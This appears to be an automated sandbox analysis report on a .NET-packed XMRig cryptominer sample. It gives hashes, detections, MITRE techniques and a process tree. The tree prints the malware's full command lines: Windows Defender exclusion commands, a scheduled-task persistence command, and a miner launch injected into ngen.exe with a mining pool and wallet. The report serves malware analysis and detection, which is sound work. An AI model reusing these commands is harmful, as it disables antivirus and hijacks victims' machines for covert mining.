xmrig | f0f756cdd6211e7ccaa203844abf95f2993dd2c1033fde42f5e17ba10adb67e6

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
27/06/2023, 13:49

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General

Target

file.exe
Size

1.8MB
MD5

08bd9f40d1e009c3ea0475aed29e597a
SHA1

93eb930b3b54dce404916daa9d7761aa7f23bc4e
SHA256

f0f756cdd6211e7ccaa203844abf95f2993dd2c1033fde42f5e17ba10adb67e6
SHA512

ccc43b7355cf1f0d25ad7dddfde189e7d288e489921ee520861a12921ed2a9b12438a28f86bc14c6c69902ebd6d73e3d0db3ad63a2954ca1f7960d74eb56fe92
SSDEEP

49152:3JfC7C2mJOTXP3NWpItn+id8pq+Z6Q2Xr7oX1f00/gZv+1X2J+lX:7XTU+1X2JG

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/5072-201-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/5072-202-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/5072-203-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/5072-205-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/5072-206-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/5072-207-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/5072-208-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/5072-209-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/5072-210-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/5072-212-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

.NET Reactor proctector 3 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/1076-133-0x0000000000280000-0x000000000044C000-memory.dmp	net_reactor
behavioral2/files/0x000900000002312f-169.dat	net_reactor
behavioral2/files/0x000900000002312f-170.dat	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3259792829-1422303781-2047321929-1000\Control Panel\International\Geo\Nation	HVPIO.exe

Executes dropped EXE 1 IoCs

pid	Process
4792	HVPIO.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4792 set thread context of 5072	4792	HVPIO.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3956	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4748	timeout.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5044	powershell.exe
5040	powershell.exe
5040	powershell.exe
5044	powershell.exe
2568	powershell.exe
4088	powershell.exe
4088	powershell.exe
2568	powershell.exe
4792	HVPIO.exe
4792	HVPIO.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1076	file.exe
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	4792	HVPIO.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeLockMemoryPrivilege	5072	ngen.exe
Token: SeLockMemoryPrivilege	5072	ngen.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5072	ngen.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 1076 wrote to memory of 5044	1076	file.exe	80
PID 1076 wrote to memory of 5044	1076	file.exe	80
PID 1076 wrote to memory of 5040	1076	file.exe	81
PID 1076 wrote to memory of 5040	1076	file.exe	81
PID 1076 wrote to memory of 3464	1076	file.exe	84
PID 1076 wrote to memory of 3464	1076	file.exe	84
PID 3464 wrote to memory of 4748	3464	cmd.exe	86
PID 3464 wrote to memory of 4748	3464	cmd.exe	86
PID 3464 wrote to memory of 4792	3464	cmd.exe	87
PID 3464 wrote to memory of 4792	3464	cmd.exe	87
PID 4792 wrote to memory of 2568	4792	HVPIO.exe	92
PID 4792 wrote to memory of 2568	4792	HVPIO.exe	92
PID 4792 wrote to memory of 4088	4792	HVPIO.exe	93
PID 4792 wrote to memory of 4088	4792	HVPIO.exe	93
PID 4792 wrote to memory of 2760	4792	HVPIO.exe	96
PID 4792 wrote to memory of 2760	4792	HVPIO.exe	96
PID 2760 wrote to memory of 3956	2760	cmd.exe	98
PID 2760 wrote to memory of 3956	2760	cmd.exe	98
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99
PID 4792 wrote to memory of 5072	4792	HVPIO.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1E55.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4748
- - C:\ProgramData\Timeupper\HVPIO.exe
    "C:\ProgramData\Timeupper\HVPIO.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4088
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HVPIO" /tr "C:\ProgramData\Timeupper\HVPIO.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2760
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HVPIO" /tr "C:\ProgramData\Timeupper\HVPIO.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:3956
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -o xmr-eu1.nanopool.org:14433 -u 87N2CazJHoaY8ofHfhpKfj2SGmfMDHPXkgZNgeArkrabCc8vC81NNzxdN6Rjfemw5TGmZ2vbDrC6wDxqdGf7eqqYVBUpMZD --tls --coin monero --max-cpu-usage=50 --donate-level=1 -opencl
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:5072

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\Timeupper\HVPIO.exe

Filesize
760.0MB

MD5
387ec0d7371ac73b1a23decaf135c517

SHA1
1e5afc3ee3e9e754c61d0322b9f775d3b5f543a0

SHA256
f2714dd2fed63ffd60082c75019b3152a6dec26a3e665eb339f67e2d401a5006

SHA512
236d9156927ca4d72bd69b0146c7295e37f4fb7a7f4f691567a03fb0e19027afd17bb3e81d04f2c33fc7e29725104459fc824a7ad628deca5afe0d4f6d6eda30

Download Submit
C:\ProgramData\Timeupper\HVPIO.exe

Filesize
760.0MB

MD5
387ec0d7371ac73b1a23decaf135c517

SHA1
1e5afc3ee3e9e754c61d0322b9f775d3b5f543a0

SHA256
f2714dd2fed63ffd60082c75019b3152a6dec26a3e665eb339f67e2d401a5006

SHA512
236d9156927ca4d72bd69b0146c7295e37f4fb7a7f4f691567a03fb0e19027afd17bb3e81d04f2c33fc7e29725104459fc824a7ad628deca5afe0d4f6d6eda30

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
26403455115fbc3da2573a37cc28744a

SHA1
6a9bf407036a8b9d36313462c0257f53b4ee9170

SHA256
222a7adb94c5e82df6466a4afce283e905c69f7feb18b3e34583b5cbbd88b352

SHA512
be96d478e5d804b8daf805ad28d5eba644fb63a59a799273e029c8047a036f8aac74098efcadee0e4f405dcd1c0a689a1e8eb23f51a93634ed44f5a7c821beb6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2hanzlm.m52.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp1E55.tmp.bat

Filesize
143B

MD5
ea96155803775e576418bc4411b55203

SHA1
e6d65cf7961ff1bbf01d13140d522637857b5f66

SHA256
0a8e143ae58361bbb03e86596f448368b646d303bf52d4372d9e3e9dc327c5c9

SHA512
431d6a09e98515beb81d4b210c272a0de63b1c713e37a275288146ed2af04e4d3420f59720846457075ade249abf141406bd8aadcf8f84df76b01d1788f8c43f

Download Submit
memory/1076-135-0x0000000003280000-0x0000000003290000-memory.dmp

Filesize
64KB

Download
memory/1076-136-0x0000000000D80000-0x0000000000D81000-memory.dmp

Filesize
4KB

Download
memory/1076-133-0x0000000000280000-0x000000000044C000-memory.dmp

Filesize
1.8MB

Download
memory/4792-172-0x0000000001880000-0x0000000001881000-memory.dmp

Filesize
4KB

Download
memory/4792-171-0x00000000026B0000-0x00000000026C0000-memory.dmp

Filesize
64KB

Download
memory/4792-173-0x00000000026B0000-0x00000000026C0000-memory.dmp

Filesize
64KB

Download
memory/5044-137-0x000002B1706F0000-0x000002B170700000-memory.dmp

Filesize
64KB

Download
memory/5044-147-0x000002B170650000-0x000002B170672000-memory.dmp

Filesize
136KB

Download
memory/5072-202-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/5072-201-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/5072-203-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/5072-204-0x0000020912E70000-0x0000020912E90000-memory.dmp

Filesize
128KB

Download
memory/5072-205-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/5072-206-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/5072-207-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/5072-208-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/5072-209-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/5072-210-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/5072-211-0x00000209A5020000-0x00000209A5060000-memory.dmp

Filesize
256KB

Download
memory/5072-212-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download